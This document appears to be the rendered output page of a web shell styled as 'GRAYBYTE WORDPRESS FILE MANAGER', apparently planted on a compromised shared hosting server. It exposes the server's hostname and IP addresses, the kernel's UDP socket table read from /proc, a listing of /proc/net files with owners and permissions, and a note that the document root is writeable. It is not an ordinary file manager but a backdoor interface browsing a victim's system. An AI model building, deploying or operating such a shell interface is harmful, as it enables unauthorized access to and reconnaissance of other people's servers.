$99 GRAYBYTE WORDPRESS FILE MANAGER $18

SERVER : in-mum-web1330.main-hosting.eu #1 SMP Mon Feb 10 22:45:17 UTC 2025
SERVER IP : 147.79.69.38 | ADMIN IP 216.73.216.143
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/proc/1483900/net/

HOME
Current File : /proc/1483900/net//udp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode ref pointer drops             
  653: 00000000:4F88 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 2699225368 2 0000000000000000 0    
 1578: 0100007F:5325 0100007F:0035 01 00000000:00000000 00:00000000 00000000 669138442        0 3521415049 2 0000000000000000 0
 5793: 38B8CBC1:639C 04040808:0035 01 00000000:00000000 00:00000000 00000000   993        0 3521475505 2 0000000000000000 0    
 5917: 0100007F:6418 0100007F:1414 01 00000000:00000000 00:00000000 00000000 65534        0 2133588228 2 0000000000000000 0    
 7564: 38B8CBC1:6A87 9E21E408:2FAA 01 00000000:00000000 00:00000000 00000000     0        0 3500672106 2 0000000000000000 0    
 7675: 0100007F:6AF6 0100007F:1414 01 00000000:00000000 00:00000000 00000000 65534        0 2132585397 2 0000000000000000 0    
 9866: 38B8CBC1:7385 9E21E408:2FAA 01 00000000:00000000 00:00000000 00000000     0        0 3507510697 2 0000000000000000 0    
14736: 0100007F:868B 0100007F:1414 01 00000000:00000000 00:00000000 00000000 65534        0 2134551823 2 0000000000000000 0    
14764: 38B8CBC1:86A7 9E21E408:2FAA 01 00000000:00000000 00:00000000 00000000     0        0 3437463802 2 0000000000000000 0    
16218: 0100007F:8C55 0100007F:1414 01 00000000:00000000 00:00000000 00000000 65534        0 2133685113 2 0000000000000000 0    
16431: 0100007F:8D2A 0100007F:1414 01 00000000:00000000 00:00000000 00000000 65534        0 2133324772 2 0000000000000000 0    
17496: 0100007F:9153 0100007F:1414 01 00000000:00000000 00:00000000 00000000 65534        0 2133722363 2 0000000000000000 0    
18610: 0100007F:95AD 0100007F:1414 01 00000000:00000000 00:00000000 00000000 65534        0 2133534266 2 0000000000000000 0    
19859: 0100007F:9A8E 0100007F:1414 01 00000000:00000000 00:00000000 00000000 65534        0 2135689143 2 0000000000000000 0    
22688: 0100007F:A59B 0100007F:1414 01 00000000:00000000 00:00000000 00000000 65534        0 2135807400 2 0000000000000000 0    
22715: 0100007F:A5B6 0100007F:1414 01 00000000:00000000 00:00000000 00000000 65534        0 2133774248 2 0000000000000000 0    
27835: 0100007F:B9B6 0100007F:1414 01 00000000:00000000 00:00000000 00000000 65534        0 2133709951 2 0000000000000000 0    
31996: 0100007F:C9F7 0100007F:1414 01 00000000:00000000 00:00000000 00000000 65534        0 2134382515 2 0000000000000000 0    
33623: 0100007F:D052 0100007F:1414 01 00000000:00000000 00:00000000 00000000 65534        0 2133304691 2 0000000000000000 0    
34816: 38B8CBC1:D4FB 9E21E408:2FAA 01 00000000:00000000 00:00000000 00000000     0        0 3506336677 2 0000000000000000 0    
35432: 38B8CBC1:D763 9E21E408:2FAA 01 00000000:00000000 00:00000000 00000000     0        0 3517442576 2 0000000000000000 0    
39352: 0100007F:E6B3 0100007F:1414 01 00000000:00000000 00:00000000 00000000 65534        0 2133835787 2 0000000000000000 0    
44778: 38B8CBC1:FBE5 9E21E408:2FAA 01 00000000:00000000 00:00000000 00000000     0        0 3489336659 2 0000000000000000 0    
45882: 0100007F:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000   993        0 1294346186 2 0000000000000000 6073 
45940: 00000000:006F 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 69767 2 0000000000000000 0         
46152: 0100007F:0143 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 1473207110 2 0000000000000000 0    
46272: 00000000:01BB 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 3267883698 2 0000000000000000 2880 
46272: 00000000:01BB 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 3267883697 2 0000000000000000 1553 
50970: 0100007F:1415 00000000:0000 07 00000000:00000000 00:00000000 00000000 991157884        0 4136709450 2 0000000000000000 1074
50971: 0100007F:1416 00000000:0000 07 00000000:00000000 00:00000000 00000000 991157884        0 4136693284 2 0000000000000000 1537
50972: 0100007F:1417 00000000:0000 07 00000000:00000000 00:00000000 00000000 991157884        0 4136693279 2 0000000000000000 0
50973: 0100007F:1418 00000000:0000 07 00000000:00000000 00:00000000 00000000 991157884        0 4136693286 2 0000000000000000 390
50974: 0100007F:1419 00000000:0000 07 00000000:00000000 00:00000000 00000000 991157884        0 4136693288 2 0000000000000000 0

Current_dir [ NOT WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
13 Mar 2026 9.11 AM
u550391411 / o200927086
0555
dev_snmp6
--
13 Mar 2026 9.16 AM
root / root
0555
netfilter
--
13 Mar 2026 9.16 AM
root / root
0555
rpc
--
13 Mar 2026 9.16 AM
root / root
0555
stat
--
13 Mar 2026 9.16 AM
root / root
0555
vlan
--
13 Mar 2026 9.16 AM
root / root
0555
anycast6
0 KB
13 Mar 2026 9.20 AM
root / root
0444
arp
0 KB
13 Mar 2026 9.20 AM
root / root
0444
connector
0 KB
13 Mar 2026 9.16 AM
root / root
0444
dev
0 KB
13 Mar 2026 9.20 AM
root / root
0444
dev_mcast
0 KB
13 Mar 2026 9.20 AM
root / root
0444
fib_trie
0 KB
13 Mar 2026 9.20 AM
root / root
0444
fib_triestat
0 KB
13 Mar 2026 9.20 AM
root / root
0444
hci
0 KB
13 Mar 2026 9.16 AM
root / root
0444
icmp
0 KB
13 Mar 2026 9.20 AM
root / root
0444
icmp6
0 KB
13 Mar 2026 9.20 AM
root / root
0444
if_inet6
0 KB
13 Mar 2026 9.20 AM
root / root
0444
igmp
0 KB
13 Mar 2026 9.20 AM
root / root
0444
igmp6
0 KB
13 Mar 2026 9.20 AM
root / root
0444
ip6_flowlabel
0 KB
13 Mar 2026 9.20 AM
root / root
0444
ip6_mr_cache
0 KB
13 Mar 2026 9.20 AM
root / root
0444
ip6_mr_vif
0 KB
13 Mar 2026 9.20 AM
root / root
0444
ip_mr_cache
0 KB
13 Mar 2026 9.20 AM
root / root
0444
ip_mr_vif
0 KB
13 Mar 2026 9.20 AM
root / root
0444
ip_tables_matches
0 KB
13 Mar 2026 9.16 AM
root / root
0440
ip_tables_names
0 KB
13 Mar 2026 9.20 AM
root / root
0440
ip_tables_targets
0 KB
13 Mar 2026 9.16 AM
root / root
0440
ipv6_route
0 KB
13 Mar 2026 9.20 AM
root / root
0444
l2cap
0 KB
13 Mar 2026 9.16 AM
root / root
0444
mcfilter
0 KB
13 Mar 2026 9.20 AM
root / root
0444
mcfilter6
0 KB
13 Mar 2026 9.20 AM
root / root
0444
netlink
0 KB
13 Mar 2026 9.20 AM
root / root
0444
netstat
0 KB
13 Mar 2026 9.20 AM
root / root
0444
nf_conntrack
0 KB
13 Mar 2026 9.20 AM
root / root
0440
nf_conntrack_expect
0 KB
13 Mar 2026 9.20 AM
root / root
0440
packet
0 KB
13 Mar 2026 9.20 AM
root / root
0444
protocols
0 KB
13 Mar 2026 9.20 AM
root / root
0444
psched
0 KB
13 Mar 2026 9.16 AM
root / root
0444
ptype
0 KB
13 Mar 2026 9.20 AM
root / root
0444
raw
0 KB
13 Mar 2026 9.20 AM
root / root
0444
raw6
0 KB
13 Mar 2026 9.20 AM
root / root
0444
route
0 KB
13 Mar 2026 9.20 AM
root / root
0444
rt6_stats
0 KB
13 Mar 2026 9.20 AM
root / root
0444
rt_acct
0 KB
13 Mar 2026 9.16 AM
root / root
0444
rt_cache
0 KB
13 Mar 2026 9.16 AM
root / root
0444
sco
0 KB
13 Mar 2026 9.16 AM
root / root
0444
snmp
0 KB
13 Mar 2026 9.20 AM
root / root
0444
snmp6
0 KB
13 Mar 2026 9.20 AM
root / root
0444
sockstat
0 KB
13 Mar 2026 9.20 AM
root / root
0444
sockstat6
0 KB
13 Mar 2026 9.20 AM
root / root
0444
softnet_stat
0 KB
13 Mar 2026 9.16 AM
root / root
0444
tcp
0 KB
13 Mar 2026 9.20 AM
root / root
0444
tcp6
0 KB
13 Mar 2026 9.20 AM
root / root
0444
udp
0 KB
13 Mar 2026 9.20 AM
root / root
0444
udp6
0 KB
13 Mar 2026 9.20 AM
root / root
0444
udplite
0 KB
13 Mar 2026 9.20 AM
root / root
0444
udplite6
0 KB
13 Mar 2026 9.20 AM
root / root
0444
unix
0 KB
13 Mar 2026 9.20 AM
root / root
0444
xfrm_stat
0 KB
13 Mar 2026 9.20 AM
root / root
0444

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF